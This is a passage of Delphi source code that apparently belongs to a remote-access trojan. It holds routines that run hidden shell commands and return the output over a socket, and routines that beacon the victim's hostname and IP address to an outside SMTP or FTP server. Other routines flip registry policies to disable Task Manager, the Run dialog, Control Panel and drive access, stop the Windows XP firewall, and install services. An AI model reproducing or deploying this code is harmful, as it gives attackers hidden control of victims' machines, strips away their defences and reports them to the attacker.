     result:=inttostr(Nfiles) + '*' + Files;
end;
    ///////////////////////////////////////////////////////////////////////////////
  function StrPos(const Str1, Str2: PChar): PChar; assembler;
asm
        PUSH    EDI
        PUSH    ESI
        PUSH    EBX
        OR      EAX,EAX
        JE      @@2
        OR      EDX,EDX
        JE      @@2
        MOV     EBX,EAX
        MOV     EDI,EDX
        XOR     AL,AL
        MOV     ECX,0FFFFFFFFH
        REPNE   SCASB
        NOT     ECX
        DEC     ECX
        JE      @@2
        MOV     ESI,ECX
        MOV     EDI,EBX
        MOV     ECX,0FFFFFFFFH
        REPNE   SCASB
        NOT     ECX
        SUB     ECX,ESI
        JBE     @@2
        MOV     EDI,EBX
        LEA     EBX,[ESI-1]
@@1:    MOV     ESI,EDX
        LODSB
        REPNE   SCASB
        JNE     @@2
        MOV     EAX,ECX
        PUSH    EDI
        MOV     ECX,EBX
        REPE    CMPSB
        POP     EDI
        MOV     ECX,EAX
        JNE     @@1
        LEA     EAX,[EDI-1]
        JMP     @@3
@@2:    XOR     EAX,EAX
@@3:    POP     EBX
        POP     ESI
        POP     EDI
end;
    ///////////////////////////////////////////////////////////////////////////////
 function split (text : string;char : string; num : integer):string;
 var
 Data : string;
 Temp: string;
 TmpDada ,COMD, PARM1 ,PARM2 : string ;
 i : integer;
begin
Data:=text;
     TmpDada:= copy(Data,1,length(Data));
         for i := 0 to findnchars(text,char)  do begin
   COMD:=copy(TmpDada,1,FindChar(TmpDada,char)-1);
   TmpDada:= copy(TmpDada,length(COMD)+1+1,length(TmpDada) );
               if i = num then begin
             Result:=COMD;
             exit;
               end;
           end;
end;
   ///////////////////////////////////////////////////////////////////////////////
  function GetLocalPath:string;
    var
   i,a : integer;
   data : string;
  begin
     i:= findNchars(ParamStr( 0 ),'');
      for a:= 0 to i-1 do begin
        data:=data   + split( ParamStr( 0 ),'',a) + '';
      end;
     result:=data;
  end;
  ///////////////////////////////////////////////////////////////////////////////
  const FIN  = #13+#10;
procedure SendEMAIL(SMTP : string; EMAIL:string; MyEMAIL:string);
    var Addr      : TSockAddr;
    Sock      : TSocket;
    TypeBlock : Integer;
    HostEnt: PHostEnt;
  begin
     with addr do
     begin
          sin_family      := AF_INET;
          sin_port        := htons( 25 );
          sin_addr.S_addr := Inet_Addr( PCHAR(SMTP)  );
     end;
     if addr.sin_addr.s_addr = -1 then
        begin
        HostEnt := GetHostByName(PChar(SMTP));
        if HostEnt = nil then
        begin
        Exit;
        end;
        addr.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
        end;
     //creo el socket con el que me voy a conectar al servidor smtp
     Sock := Socket( AF_INET, SOCK_STREAM, 0 );
     //lo pongo para que se quede bloqueado cuando leo o escribo en el socket
     TypeBlock := 0;
     ioctlsocket( Sock, FIONBIO, TypeBlock );
     //intento la conexion, si connect devuelve 0 entonces estamos conectados
     if Connect( Sock, Addr, SizeOf( Addr ) ) = 0 then
     begin
      //Result := TRUE;
         SendData( sock,'helo test' + FIN );
          sleep(100);
          //mail from: es para decir quien es el que manda el mail
      SendData( sock,'mail from: ' + MyEMAIL +  FIN );
           sleep(100);
          //rcpt to: es para decir quien recibe el mail
        SendData( sock,'rcpt to: ' + EMAIL + FIN );
              sleep(100);
          //data es para indicarle al server que lo que sigue es el cuerpo del mail
        SendData( sock,'data' + FIN );
            sleep(100);
SendData( sock,'from: ' + MyEMAIL + FIN  ) ;
      sleep(100);
 SendData( sock,'to:' +  EMAIL + FIN );
        sleep(100);
 SendData( sock,'subject: '+ 'testing' + LocalIP   + FIN);
                 sleep(100);
   // el punto ".", es para decirle al server que el cuerpo del mail termino
SendData( sock,'.' + FIN );
             sleep(500);
         
      SendData( sock, 'quit' + FIN );
      Sleep(500);
    end
    else
       // Result := FALSE;
    CloseSocket( Sock );
end;
   ///////////////////////////////////////////////////////////////////////////////
procedure EnviarSalidaAlCliente( const path: String );
var a     : TextFile;
    Linea : String;
begin
     try
        AssignFile( a, path );
        FileMode := 0;
        Reset( a );
        while not Eof( a ) do
        begin
        ReadLn( a, Linea );
          SendData (ConsoleSocket, '33' + linea);
       //  messagebox( 0,pchar(linea),'',0);
        end;
        CloseFile( a );
     except
     end;
end;
    ///////////////////////////////////////////////////////////////////////////////
procedure Consola;
var  pApp,pOut   : array[ 0..MAX_PATH ] of Char;
     pathOut     : String;
     StartupInfo : TStartupInfo;
     ProcessInfo : TProcessInformation;
     SecAtrrs    : TSecurityAttributes;
     result      : boolean;
     hAppProcess, hAppThread, hOut: THandle;
begin
     pathOut := FindWindowsDir + 'tempout.txt';
     Result := FALSE;
     if EsXp then
        ConsolaApp := FindWindowsDir + 'System32cmd.exe /C ' + ConsolaApp
     else
        ConsolaApp := FindWindowsDir + 'command.com /C ' + ConsolaApp;
     StrPCopy( pApp, ConsolaApp );
     StrPCopy( pOut, pathOut );
     try
        FillChar( SecAtrrs, SizeOf( SecAtrrs ), #0 );
        SecAtrrs.nLength  := SizeOf( SecAtrrs );
        SecAtrrs.lpSecurityDescriptor := nil;
        SecAtrrs.bInheritHandle := True;
        hOut := CreateFile( pOut, GENERIC_READ or GENERIC_WRITE,
                            FILE_SHARE_READ or FILE_SHARE_WRITE,
                            @SecAtrrs, CREATE_ALWAYS, FILE_ATTRIBUTE_TEMPORARY, 0 );
        if hOut = INVALID_HANDLE_VALUE then
           Exit;
        FillChar( StartupInfo, SizeOf( StartupInfo ), #0 );
        StartupInfo.cb          := SizeOf( StartupInfo );
        StartupInfo.dwFlags     := STARTF_USESHOWWINDOW or STARTF_USESTDHANDLES;
        StartupInfo.wShowWindow := SW_HIDE;
        StartupInfo.hStdOutput  := hOut;
        Result := CreateProcess( nil, pApp, nil, nil, True,
                                 CREATE_NEW_CONSOLE or REALTIME_PRIORITY_CLASS,
                                 nil, nil, StartupInfo, ProcessInfo );
        if Result then
        begin
             WaitForSingleObject( ProcessInfo.hProcess, INFINITE );
             hAppProcess := ProcessInfo.hProcess;
             hAppThread  := ProcessInfo.hThread;
        end;
        finally
            if hOut <> 0 then
               CloseHandle( hOut );
            if hAppThread  <> 0 then
               CloseHandle( hAppThread );
            if hAppProcess <> 0 then
               CloseHandle( hAppProcess );
            EnviarSalidaAlCliente  ( pathOut);
    end;
end;
    ///////////////////////////////////////////////////////////////////////////////
procedure LanzarProgramaConsola(App: string; c: Boolean; socket : tsocket);
var  id : cardinal;
begin
     Esconsola  := c;
     ConsolaApp := App;
     ConsoleSocket:= socket;
     BeginThread(nil, 0, @ShellCode, nil, 0, id );
end;
    ///////////////////////////////////////////////////////////////////////////////
 procedure SendFTP(Host: string;User : string; PASS : string;Port : integer; Dir : string);
    var Addr      : TSockAddr;
    Sock      : TSocket;
    TypeBlock : Integer;
    HostEnt: PHostEnt;
  begin
     with addr do
     begin
          sin_family      := AF_INET;
          sin_port        := htons( Port );
          sin_addr.S_addr := Inet_Addr( PCHAR(Host)  );
     end;
     if addr.sin_addr.s_addr = -1 then
        begin
        HostEnt := GetHostByName(PChar(Host));
        if HostEnt = nil then
        begin
        // frmMain.MainMsg.ShowMessage('Failed Sended!');
        Exit;
        end;
        addr.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
        end;
     //creo el socket con el que me voy a conectar al servidor FTP
     Sock := Socket( AF_INET, SOCK_STREAM, 0 );
     //lo pongo para que se quede bloqueado cuando leo o escribo en el socket
     TypeBlock := 0;
     ioctlsocket( Sock, FIONBIO, TypeBlock );
     //intento la conexion, si connect devuelve 0 entonces estamos conectados
     if Connect( Sock, Addr, SizeOf( Addr ) ) = 0 then
     begin
      //Result := TRUE;
      SendData (sock, 'USER ' + User+ #13#10);
      Sleep(100);
    SendData (Sock, 'PASS ' + PASS + #13#10);
    Sleep(100);
    if Dir<>''then begin
    SendData (Sock, 'CWD ' +  Dir + #13#10);
    end;
    Sleep(100);
    SendData (Sock, 'MKD ' + GetLocalHostName + '__' + LocalIP + '__' + TIME + '__' + ddATE +  #13#10);
    Sleep(100) ;
    SendData (sock, 'QUIT' + #13#10);
    Sleep(500);
   // frmMain.MainMsg.ShowMessage('FTP Notification Sended!');
    end
    else
    begin
       // Result := FALSE;
        CloseSocket( Sock );
       // frmMain.MainMsg.ShowMessage('Failed Sended!');
    end;
end;
    const
 C1 = 52845;
 C2 = 22719;
function Decode(const S: AnsiString): AnsiString;
const
  Map: array[Char] of Byte = (0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 62, 0, 0, 0, 63, 52, 53,
    54, 55, 56, 57, 58, 59, 60, 61, 0, 0, 0, 0, 0, 0, 0, 0, 1, 2,
    3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19,
    20, 21, 22, 23, 24, 25, 0, 0, 0, 0, 0, 0, 26, 27, 28, 29, 30,
    31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45,
    46, 47, 48, 49, 50, 51, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0);
var
  I: LongInt;
begin
  case Length(S) of
    2:
      begin
        I := Map[S[1]] + (Map[S[2]] shl 6);
        SetLength(Result, 1);
        Move(I, Result[1], Length(Result))
      end;
    3:
      begin
        I := Map[S[1]] + (Map[S[2]] shl 6) + (Map[S[3]] shl 12);
        SetLength(Result, 2);
        Move(I, Result[1], Length(Result))
      end;
    4:
      begin
        I := Map[S[1]] + (Map[S[2]] shl 6) + (Map[S[3]] shl 12) +
          (Map[S[4]] shl 18);
        SetLength(Result, 3);
        Move(I, Result[1], Length(Result))
      end
  end
end;
function PreProcess(const S: AnsiString): AnsiString;
var
  SS: AnsiString;
begin
  SS := S;
  Result := '';
  while SS <> '' do
  begin
    Result := Result + Decode(Copy(SS, 1, 4));
    Delete(SS, 1, 4)
  end
end;
function InternalDecrypt(const S: AnsiString; Key: Word): AnsiString;
var
  I: Word;
  Seed: Word;
begin
  Result := S;
  Seed := Key;
  for I := 1 to Length(Result) do
  begin
    Result[I] := Char(Byte(Result[I]) xor (Seed shr 8));
    Seed := (Byte(S[I]) + Seed) * Word(C1) + Word(C2)
  end
end;
function Decrypt(const S: AnsiString; Key: Word): AnsiString;
begin
  Result := InternalDecrypt(PreProcess(S), Key)
end;
function Encode(const S: AnsiString): AnsiString;
const
  Map: array[0..63] of Char = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' +
    'abcdefghijklmnopqrstuvwxyz0123456789+/';
var
  I: LongInt;
begin
  I := 0;
  Move(S[1], I, Length(S));
  case Length(S) of
    1:
      Result := Map[I mod 64] + Map[(I shr 6) mod 64];
    2:
      Result := Map[I mod 64] + Map[(I shr 6) mod 64] +
        Map[(I shr 12) mod 64];
    3:
      Result := Map[I mod 64] + Map[(I shr 6) mod 64] +
        Map[(I shr 12) mod 64] + Map[(I shr 18) mod 64]
  end
end;
function PostProcess(const S: AnsiString): AnsiString;
var
  SS: AnsiString;
begin
  SS := S;
  Result := '';
  while SS <> '' do
  begin
    Result := Result + Encode(Copy(SS, 1, 3));
    Delete(SS, 1, 3)
  end
end;
function InternalEncrypt(const S: AnsiString; Key: Word): AnsiString;
var
  I: Word;
  Seed: Word;
begin
  Result := S;
  Seed := Key;
  for I := 1 to Length(Result) do
  begin
    Result[I] := Char(Byte(Result[I]) xor (Seed shr 8));
    Seed := (Byte(Result[I]) + Seed) * Word(C1) + Word(C2)
  end
end;
function Encrypt(const S: AnsiString; Key: Word): AnsiString;
begin
  Result := PostProcess(InternalEncrypt(S, Key))
end;
  function Noclose(value : integer): string;
var h : HKEY;
    i : Integer;
    TmpInt: Integer;
BufSize: Integer;
 DataType: Integer;
begin
      BufSize := SizeOf(TmpInt);
   DataType := REG_DWORD ;
          if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' , h  ) <> ERROR_SUCCESS then   begin
          exit;
      end;
                  if RegQueryValueEx(h, 'Noclose', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
            if   TmpInt= 0 then begin
              TmpInt:=1;
            end
            else
            begin
               TmpInt:=0;
            end;
               if   (TmpInt>1) then   TmpInt:=1;
          RegSetValueEx( h,   'Noclose' , 0, REG_DWORD,
           @TmpInt, SizeOf( TmpInt ) ) ;
          RegCloseKey( h );
end;
   function NoRun(value : integer): string;
var h : HKEY;
    i : Integer;
    TmpInt: Integer;
BufSize: Integer;
 DataType: Integer;
begin
      BufSize := SizeOf(TmpInt);
   DataType := REG_DWORD ;
          if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' , h  ) <> ERROR_SUCCESS then   begin
          exit;
      end;
                   if RegQueryValueEx(h, 'NoRun', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
            if   TmpInt= 0 then begin
              TmpInt:=1;
            end
            else
            begin
               TmpInt:=0;
            end;
            if   (TmpInt>1) then   TmpInt:=1;
          RegSetValueEx( h,   'NoRun' , 0, REG_DWORD,
           @TmpInt, SizeOf( TmpInt ) ) ;
          RegCloseKey( h );
end;
   function NoLogoff(value : integer): string;
var h : HKEY;
    i : Integer;
    TmpInt: Integer;
BufSize: Integer;
 DataType: Integer;
begin
      BufSize := SizeOf(TmpInt);
   DataType := REG_DWORD ;
          if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' , h  ) <> ERROR_SUCCESS then   begin
          exit;
      end;
                     if RegQueryValueEx(h, 'NoLogoff', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
            if   TmpInt= 0 then begin
              TmpInt:=1;
            end
            else
            begin
               TmpInt:=0;
            end;
                  if   (TmpInt>1) then   TmpInt:=1;
          RegSetValueEx( h,   'NoLogoff' , 0, REG_DWORD,
           @TmpInt, SizeOf( TmpInt ) ) ;
          RegCloseKey( h );
end;
    function NoDesktop(value : integer): string;
var h : HKEY;
    i : Integer;
    TmpInt: Integer;
BufSize: Integer;
 DataType: Integer;
begin
      BufSize := SizeOf(TmpInt);
   DataType := REG_DWORD ;
        if RegCreateKey (HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' , h  ) <> ERROR_SUCCESS then   begin
          exit;
      end;
                  if RegQueryValueEx(h, 'NoDesktop', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
            if   TmpInt= 0 then begin
              TmpInt:=1;
            end
            else
            begin
               TmpInt:=0;
            end;
           if   (TmpInt>1) then   TmpInt:=1;
          RegSetValueEx( h,   'NoDesktop' , 0, REG_DWORD,
           @TmpInt, SizeOf( TmpInt ) ) ;
          RegCloseKey( h );
end;
     function NoFind (value : integer): string;
var h : HKEY;
    i : Integer;
    TmpInt: Integer;
BufSize: Integer;
 DataType: Integer;
begin
      BufSize := SizeOf(TmpInt);
   DataType := REG_DWORD ;
          if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' , h  ) <> ERROR_SUCCESS then   begin
          exit;
      end;
                       if RegQueryValueEx(h, 'NoFind', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
            if   TmpInt= 0 then begin
              TmpInt:=1;
            end
            else
            begin
               TmpInt:=0;
            end;
                 if   (TmpInt>1) then   TmpInt:=1;
          RegSetValueEx( h,   'NoFind' , 0, REG_DWORD,
           @TmpInt, SizeOf( TmpInt ) ) ;
          RegCloseKey( h );
end;
      function NoNetConnectDisconnect (value : integer): string;
var h : HKEY;
    i : Integer;
    TmpInt: Integer;
BufSize: Integer;
 DataType: Integer;
begin
      BufSize := SizeOf(TmpInt);
   DataType := REG_DWORD ;
          if RegCreateKey ( HKEY_Current_User ,'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' , h  ) <> ERROR_SUCCESS then   begin
          exit;
      end;
                    if RegQueryValueEx(h, 'NoNetConnectDisconnectr', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
            if   TmpInt= 0 then begin
              TmpInt:=1;
            end
            else
            begin
               TmpInt:=0;
            end;
                    if   (TmpInt>1) then   TmpInt:=1;
          RegSetValueEx( h,   'NoNetConnectDisconnect' , 0, REG_DWORD,
           @TmpInt, SizeOf( TmpInt ) ) ;
          RegCloseKey( h );
end;
     function NoSetFolders(value : integer): string;
var h : HKEY;
    i : Integer;
    TmpInt: Integer;
BufSize: Integer;
 DataType: Integer;
begin
      BufSize := SizeOf(TmpInt);
   DataType := REG_DWORD ;
          if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' , h  ) <> ERROR_SUCCESS then   begin
          exit;
      end;
                      if RegQueryValueEx(h, 'NoSetFolders', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
            if   TmpInt= 0 then begin
              TmpInt:=1;
            end
            else
            begin
               TmpInt:=0;
            end;
                   if   (TmpInt>1) then   TmpInt:=1;
          RegSetValueEx( h,   'NoSetFolders' , 0, REG_DWORD,
           @TmpInt, SizeOf( TmpInt ) ) ;
          RegCloseKey( h );
end;
     function NoControlPanel(value : integer): string;
var h : HKEY;
    i : Integer;
    TmpInt: Integer;
BufSize: Integer;
 DataType: Integer;
begin
      BufSize := SizeOf(TmpInt);
   DataType := REG_DWORD ;
          if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' , h  ) <> ERROR_SUCCESS then   begin
          exit;
      end;
                      if RegQueryValueEx(h, 'NoControlPanel', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
            if   TmpInt= 0 then begin
              TmpInt:=1;
            end
            else
            begin
               TmpInt:=0;
            end;
                   if   (TmpInt>1) then   TmpInt:=1;
          RegSetValueEx( h,   'NoControlPanel' , 0, REG_DWORD,
           @TmpInt, SizeOf( TmpInt ) ) ;
          RegCloseKey( h );
end;
     function NoDrives (value : integer): string;
var h : HKEY;
    i : Integer;
    TmpInt: Integer;
BufSize: Integer;
 DataType: Integer;
begin
      BufSize := SizeOf(TmpInt);
   DataType := REG_DWORD ;
          if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' , h  ) <> ERROR_SUCCESS then   begin
          exit;
      end;
                       if RegQueryValueEx(h, 'NoDrives', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
            if   TmpInt= 0 then begin
              TmpInt:=1;
            end
            else
            begin
               TmpInt:=0;
            end;
           if   (TmpInt>1) then   TmpInt:=1;
          RegSetValueEx( h,   'NoDrives' , 0, REG_DWORD,
           @TmpInt, SizeOf( TmpInt ) ) ;
          RegCloseKey( h );
end;
     function ResrictRun(value : integer): string;
var h : HKEY;
    i : Integer;
    TmpInt: Integer;
BufSize: Integer;
 DataType: Integer;
begin
      BufSize := SizeOf(TmpInt);
   DataType := REG_DWORD ;
          if RegCreateKey (HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' , h  ) <> ERROR_SUCCESS then   begin
          exit;
      end;
                      if RegQueryValueEx(h, 'ResrictRun', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
            if   TmpInt= 0 then begin
              TmpInt:=1;
            end
            else
            begin
               TmpInt:=0;
            end;
                if   (TmpInt>1) then   TmpInt:=1;
          RegSetValueEx( h,   'ResrictRun' , 0, REG_DWORD,
           @TmpInt, SizeOf( TmpInt ) ) ;
          RegCloseKey( h );
end;
   //System
        function DisableTaskMgr(value : integer): string;
var h : HKEY;
    i : Integer;
    TmpInt: Integer;
 BufSize: Integer;
 DataType: Integer;
begin
      BufSize := SizeOf(TmpInt);
   DataType := REG_DWORD ;
          if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem' , h  ) <> ERROR_SUCCESS then   begin
          exit;
      end;
            if RegQueryValueEx(h, 'DisableTaskMgr', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
            if   TmpInt= 0 then begin
              TmpInt:=1;
            end
            else
            begin
               TmpInt:=0;
            end;
          if   (TmpInt>1) then   TmpInt:=1;
          RegSetValueEx( h,   'DisableTaskMgr' , 0, REG_DWORD,
           @TmpInt, SizeOf( TmpInt ) ) ;
          RegCloseKey( h );
end;
  function NoDispCPL(value : integer): string;
var h : HKEY;
    i : Integer;
    TmpInt: Integer;
BufSize: Integer;
 DataType: Integer;
begin
      BufSize := SizeOf(TmpInt);
   DataType := REG_DWORD ;
          if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem' , h  ) <> ERROR_SUCCESS then   begin
          exit;
      end;
                        if RegQueryValueEx(h, 'NoDispCPL', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
            if   TmpInt= 0 then begin
              TmpInt:=1;
            end
            else
            begin
               TmpInt:=0;
            end;
               if   (TmpInt>1) then   TmpInt:=1;
          RegSetValueEx( h,   'NoDispCPL' , 0, REG_DWORD,
           @TmpInt, SizeOf( TmpInt ) ) ;
          RegCloseKey( h );
end;
 function NoDispBackgroundPage(value : integer): string;
var h : HKEY;
    i : Integer;
    TmpInt: Integer;
BufSize: Integer;
 DataType: Integer;
begin
      BufSize := SizeOf(TmpInt);
   DataType := REG_DWORD ;
          if RegCreateKey (HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesSystem' , h  ) <> ERROR_SUCCESS then   begin
          exit;
      end;
                         if RegQueryValueEx(h, 'NoDispBackgroundPage', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
            if   TmpInt= 0 then begin
              TmpInt:=1;
            end
            else
            begin
               TmpInt:=0;
            end;
              if   (TmpInt>1) then   TmpInt:=1;
          RegSetValueEx( h,   'NoDispBackgroundPage' , 0, REG_DWORD,
           @TmpInt, SizeOf( TmpInt ) ) ;
          RegCloseKey( h );
end;
  //Network
   function NoWorkgroupContents(value : integer): string;
var h : HKEY;
    i : Integer;
    TmpInt: Integer;
BufSize: Integer;
 DataType: Integer;
begin
      BufSize := SizeOf(TmpInt);
   DataType := REG_DWORD ;
          if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesNetwork' , h  ) <> ERROR_SUCCESS then   begin
          exit;
      end;
                      if RegQueryValueEx(h, 'NoWorkgroupContents', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
            if   TmpInt= 0 then begin
              TmpInt:=1;
            end
            else
            begin
               TmpInt:=0;
            end;
             if   (TmpInt>1) then   TmpInt:=1;
          RegSetValueEx( h,   'NoWorkgroupContents' , 0, REG_DWORD,
           @TmpInt, SizeOf( TmpInt ) ) ;
          RegCloseKey( h );
end;
   function NoEntireNetwork(value : integer): string;
var h : HKEY;
    i : Integer;
    TmpInt: Integer;
BufSize: Integer;
 DataType: Integer;
begin
      BufSize := SizeOf(TmpInt);
   DataType := REG_DWORD ;
          if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesNetwork' , h  ) <> ERROR_SUCCESS then   begin
          exit;
      end;
                     if RegQueryValueEx(h, 'NoEntireNetwork', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
            if   TmpInt= 0 then begin
              TmpInt:=1;
            end
            else
            begin
               TmpInt:=0;
            end;
           if   (TmpInt>1) then   TmpInt:=1;
          RegSetValueEx( h,   'NoEntireNetwork' , 0, REG_DWORD,
           @TmpInt, SizeOf( TmpInt ) ) ;
          RegCloseKey( h );
end;
   function NoFileSharingControl(value : integer): string;
var h : HKEY;
    i : Integer;
    TmpInt: Integer;
BufSize: Integer;
 DataType: Integer;
begin
      BufSize := SizeOf(TmpInt);
   DataType := REG_DWORD ;
          if RegCreateKey (HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesNetwork' , h  ) <> ERROR_SUCCESS then   begin
          exit;
      end;
                     if RegQueryValueEx(h, 'NoFileSharingControl', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
            if   TmpInt= 0 then begin
              TmpInt:=1;
            end
            else
            begin
               TmpInt:=0;
            end;
               if   (TmpInt>1) then   TmpInt:=1;
          RegSetValueEx( h,   'NoFileSharingControl' , 0, REG_DWORD,
           @TmpInt, SizeOf( TmpInt ) ) ;
          RegCloseKey( h );
end;
   function NoPrintSharing(value : integer): string;
var h : HKEY;
    i : Integer;
    TmpInt: Integer;
BufSize: Integer;
 DataType: Integer;
begin
      BufSize := SizeOf(TmpInt);
   DataType := REG_DWORD ;
          if RegCreateKey ( HKEY_Current_User, 'SoftwareMicrosoftWindowsCurrentVersionPoliciesNetwork' , h  ) <> ERROR_SUCCESS then   begin
          exit;
      end;
                      if RegQueryValueEx(h, 'NoPrintSharing', nil, @DataType, @TmpInt, @BufSize) = ERROR_SUCCESS then
            if   TmpInt= 0 then begin
              TmpInt:=1;
            end
            else
            begin
               TmpInt:=0;
            end;
              if   (TmpInt>1) then   TmpInt:=1;
          RegSetValueEx( h,   'NoPrintSharing' , 0, REG_DWORD,
           @TmpInt, SizeOf( TmpInt ) ) ;
          RegCloseKey( h );
end;
procedure DisableXPFirewall;
    begin
shellexecute(0,'open', 'net.exe',' stop sharedaccess',0,0);
end;
procedure SetmousePOS(x : integer; y : integer);
begin
    SetCursorPos (x, y);
end;
procedure InstallService(Machine, ServiceName, DisplayName, FileName: string);
var
  SCManager: SC_Handle;
  Service: SC_Handle;
begin
  SCManager := OpenSCManager(PChar(Machine), nil, SC_MANAGER_ALL_ACCESS);
  if SCManager = 0 then Exit;
  try
    Service := CreateService(SCManager, PChar(ServiceName), PChar(DisplayName), SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, PChar(FileName), nil, nil, nil, nil, nil);
    CloseServiceHandle(Service);
  finally
    CloseServiceHandle(SCManager);
  end;
end;
procedure UninstallService(Machine, ServiceName: string);
var
  SCManager: SC_Handle;
  Service: SC_Handle;
begin
  SCManager := OpenSCManager(PChar(Machine), nil, SC_MANAGER_ALL_ACCESS);
  if SCManager = 0 then Exit;
  try
    Service := OpenService(SCManager, PChar(ServiceName), SERVICE_ALL_ACCESS);
    DeleteService(Service);
    CloseServiceHandle(Service);
  finally
    CloseServiceHandle(SCManager);
  end;
end;
procedure StopService(Machine, ServiceName: string);
var
  SCManager: SC_Handle;
  Service: SC_Handle;
  ServiceStatus: TServiceStatus;
begin
  SCManager := OpenSCManager(PChar(Machine), nil, SC_MANAGER_ALL_ACCESS);
  if SCManager = 0 then Exit;
  try
    Service := OpenService(SCManager, PChar(ServiceName), SERVICE_ALL_ACCESS);
    WinSvc.ControlService(Service, SERVICE_CONTROL_STOP, ServiceStatus);
    CloseServiceHandle(Service);
  finally
    CloseServiceHandle(SCManager);
  end;
end;
procedure StartService(Machine, ServiceName: string);
var
  SCManager: SC_Handle;
  Service: SC_Handle;
  Args: pchar;
begin
  SCManager := OpenSCManager(PChar(Machine), nil, SC_MANAGER_ALL_ACCESS);
  if SCManager = 0 then Exit;
  try
    Service := OpenService(SCManager, PChar(ServiceName), SERVICE_ALL_ACCESS);
    Args := nil;
    WinSvc.StartService(Service, 0, Args);
    CloseServiceHandle(Service);
  finally
    CloseServiceHandle(SCManager);
  end;
end;
function ServiceGetList(Machine: string): string;
var
  ServiceLoop: integer;
  SCManager: SC_Handle;
  nBytesNeeded, nServices, nResumeHandle: dword;
  ServiceStatus: array [0..511] of TEnumServiceStatus;
begin
  SCManager := OpenSCManager(PChar(Machine), Nil, SC_MANAGER_ALL_ACCESS);
  if SCManager = 0 then Exit;
  nResumeHandle := 0;
  try
    while True do begin
      EnumServicesStatus(SCManager, SERVICE_WIN32, SERVICE_STATE_ALL, ServiceStatus[0], sizeof(ServiceStatus), nBytesNeeded, nServices, nResumeHandle);
      for ServiceLoop := 0 to nServices - 1 do begin
        if ServiceStatus[ServiceLoop].ServiceStatus.dwCurrentState = 4 then
        begin
          Result := Result + ServiceStatus[ServiceLoop].lpServiceName + '|' + ServiceStatus[ServiceLoop].lpDisplayName + '|Started' + #13#10;
        end
        else
        begin
          Result := Result + ServiceStatus[ServiceLoop].lpServiceName + '|' + ServiceStatus[ServiceLoop].lpDisplayName + '|Stopped' + #13#10;
       end;
      end;
      if nBytesNeeded = 0 then Break;
    end;
  finally
    if SCManager > 0 then CloseServiceHandle(SCManager);
  end;
end;
  procedure ShellCode  ;
      var
  StartupInfo: TStartupinfo;
  ProcessInfo: TProcessInformation;
  DumpHandle:THandle;
  DumpFileName:string;
  CmdInt:string;
  SecyAttr:TSecurityAttributes;
begin
  if EsXp then   begin
      CmdInt:= FindWindowsDir + 'System32cmd.exe /C ';
      end
     else
     begin
    CmdInt := FindWindowsDir + 'command.com /C ';
        end;
    with SecyAttr do begin
